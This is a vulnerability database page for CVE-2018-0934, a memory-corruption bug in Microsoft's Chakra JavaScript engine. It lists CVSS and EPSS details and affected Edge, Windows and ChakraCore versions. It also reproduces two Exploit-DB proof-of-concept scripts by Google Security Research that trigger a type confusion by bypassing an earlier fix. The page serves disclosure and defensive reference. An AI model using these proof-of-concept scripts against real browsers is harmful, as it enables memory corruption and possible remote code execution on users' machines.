CVE-2018-0934 : Detail

CVE-2018-0934

7.5
/
High
Overflow
60.69%V3
Network
2018-03-14
17h00 +00:00
2024-09-17
00h55 +00:00
CVE.org
NVD
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CVE Descriptions

ChakraCore and Microsoft Windows 10 Gold, 1511, 1607, 1703, 1709, and Windows Server 2016 allows remote code execution, due to how the Chakra scripting engine handles objects in memory, aka "Chakra Scripting Engine Memory Corruption Vulnerability". This CVE ID is unique from CVE-2018-0872, CVE-2018-0873, CVE-2018-0874, CVE-2018-0930, CVE-2018-0931, CVE-2018-0933, CVE-2018-0936, and CVE-2018-0937.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-755 Improper Handling of Exceptional Conditions
The product does not handle or incorrectly handles an exceptional condition.
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 44396

Publication date : 2018-04-02 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Here's a snippet of JavascriptArray::BoxStackInstance. To fix issue 1420 , "deepCopy" was introduced. But it only deep-copies the array when "instance->head" is on the stack. So simply by adding a single line of code that allocates "head" to the heap, we can bypass the fix. template <typename T> T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) { Assert(ThreadContext::IsOnStack(instance)); // On the stack, the we reserved a pointer before the object as to store the boxed value T ** boxedInstanceRef = ((T **)instance) - 1; T * boxedInstance = *boxedInstanceRef; if (boxedInstance) { return boxedInstance; } const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); if (ThreadContext::IsOnStack(instance->head)) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), T, instance, true, deepCopy); } else if(inlineSlotsSize) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); } else { boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); } *boxedInstanceRef = boxedInstance; return boxedInstance; } PoC: */ function inlinee() { return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // Allocate stack_ar->head to the heap stack_arr[20] = 1.1; stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) opt(new Function('')); // Prevents to be inlined print(opt(heap_arr => { heap_arr[10000] = {}; // ConvertToVarArray })); } main();
Exploit Database EDB-ID : 44397

Publication date : 2018-04-02 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

/* Here's a snippet of JavascriptArray::BoxStackInstance. template <typename T> T * JavascriptArray::BoxStackInstance(T * instance, bool deepCopy) { Assert(ThreadContext::IsOnStack(instance)); // On the stack, the we reserved a pointer before the object as to store the boxed value T ** boxedInstanceRef = ((T **)instance) - 1; T * boxedInstance = *boxedInstanceRef; if (boxedInstance) { return boxedInstance; } const size_t inlineSlotsSize = instance->GetTypeHandler()->GetInlineSlotsSize(); if (ThreadContext::IsOnStack(instance->head)) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize + sizeof(Js::SparseArraySegmentBase) + instance->head->size * sizeof(typename T::TElement), T, instance, true, deepCopy); } else if(inlineSlotsSize) { boxedInstance = RecyclerNewPlusZ(instance->GetRecycler(), inlineSlotsSize, T, instance, false, false); } else { boxedInstance = RecyclerNew(instance->GetRecycler(), T, instance, false, false); } *boxedInstanceRef = boxedInstance; return boxedInstance; } The method checks if the array has already been copied, and if so, it just returns the cached copied array stored in "boxedInstanceRef". My idea for bypassing the fix was: 1. In any way, invoke the method with "deepCopy" set to false. 2. From the next call, whatever the value of "deepCopy" is, the method will return the cached shallow-copied array. And I found out that the constructor of "Error" iterates over all the functions and arguments in the call stack and invokes "BoxStackInstance" with every argument and "deepCopy" set to false. Call stack to "JavascriptOperators::BoxStackInstance" from "new Error()": #0 Js::JavascriptOperators::BoxStackInstance (instance=0x7fffffff5bb8, scriptContext=0x5555561a8e78, allowStackFunction=0x0, deepCopy=0x0) at ChakraCore/lib/Runtime/Language/JavascriptOperators.cpp:9801 #1 0x00007ffff5d1834a in Js::InlinedFrameWalker::FinalizeStackValues (this=0x7fffffff57d8, args=0x7fffffff5b90, argCount=0x1) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1364 #2 0x00007ffff5d13f11 in Js::InlinedFrameWalker::GetArgv (this=0x7fffffff57d8, includeThis=0x0) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:1353 #3 0x00007ffff5d13d7b in Js::JavascriptStackWalker::GetJavascriptArgs (this=0x7fffffff57a8) at ChakraCore/lib/Runtime/Language/JavascriptStackWalker.cpp:273 #4 0x00007ffff5d5426d in Js::StackTraceArguments::Init (this=0x7fffffff5710, walker=...) at ChakraCore/lib/Runtime/Language/StackTraceArguments.cpp:82 #5 0x00007ffff5c98af8 in Js::JavascriptExceptionContext::StackFrame::StackFrame (this=0x7fffffff5700, func=0x7ffff7e402a0, walker=..., initArgumentTypes=0x1) at ChakraCore/lib/Runtime/Language/JavascriptExceptionObject.cpp:168 #6 0x00007ffff5c9afe7 in Js::JavascriptExceptionOperators::WalkStackForExceptionContextInternal (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, callerByteCodeOffset=@0x7fffffff58b8: 0x0, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetStack=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:955 #7 0x00007ffff5c9a70c in Js::JavascriptExceptionOperators::WalkStackForExceptionContext (scriptContext=..., exceptionContext=..., thrownObject=0x7ff7f2b82980, stackCrawlLimit=0xffffffffffffffff, returnAddress=0x0, isThrownException=0x0, resetSatck=0x0) at ChakraCore/lib/Runtime/Language/JavascriptExceptionOperators.cpp:883 #8 0x00007ffff5e4460f in Js::JavascriptError::NewInstance (function=0x7ffff7ed17c0, pError=0x7ff7f2b82980, callInfo=..., newTarget=0x7ffff7ef16d0, message=0x7ffff7ee4030) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:74 #9 0x00007ffff5e44ad3 in Js::JavascriptError::NewErrorInstance (function=0x7ffff7ed17c0, callInfo=...) at ChakraCore/lib/Runtime/Library/JavascriptError.cpp:127 I just needed to insert "new Error();" to the top of the "inlinee" function in the old PoC. PoC: */ // To test this using ch, you will need to add the flag -WERExceptionSupport which is enabled on Edge by default. function inlinee() { new Error(); return inlinee.arguments[0]; } function opt(convert_to_var_array) { /* To make the in-place type conversion happen, it requires to segment. */ let stack_arr = []; // JavascriptNativeFloatArray stack_arr[10000] = 1.1; stack_arr[20000] = 2.2; let heap_arr = inlinee(stack_arr); convert_to_var_array(heap_arr); stack_arr[10000] = 2.3023e-320; return heap_arr[10000]; } function main() { for (let i = 0; i < 10000; i++) { opt(new Function('')); // Prevents to be inlined } print(opt(heap_arr => { heap_arr[10000] = {}; // ConvertToVarArray })); } main();

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

Microsoft>>Windows_10 >> Version -

Microsoft>>Windows_10 >> Version 1511

Microsoft>>Windows_10 >> Version 1607

Microsoft>>Windows_10 >> Version 1703

Microsoft>>Windows_10 >> Version 1709

Microsoft>>Windows_server_2016 >> Version -

Configuraton 0

Microsoft>>Chakracore >> Version To (excluding) 1.8.2

References

https://www.exploit-db.com/exploits/44397/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/44396/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securitytracker.com/id/1040507
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/103275
Tags : vdb-entry, x_refsource_BID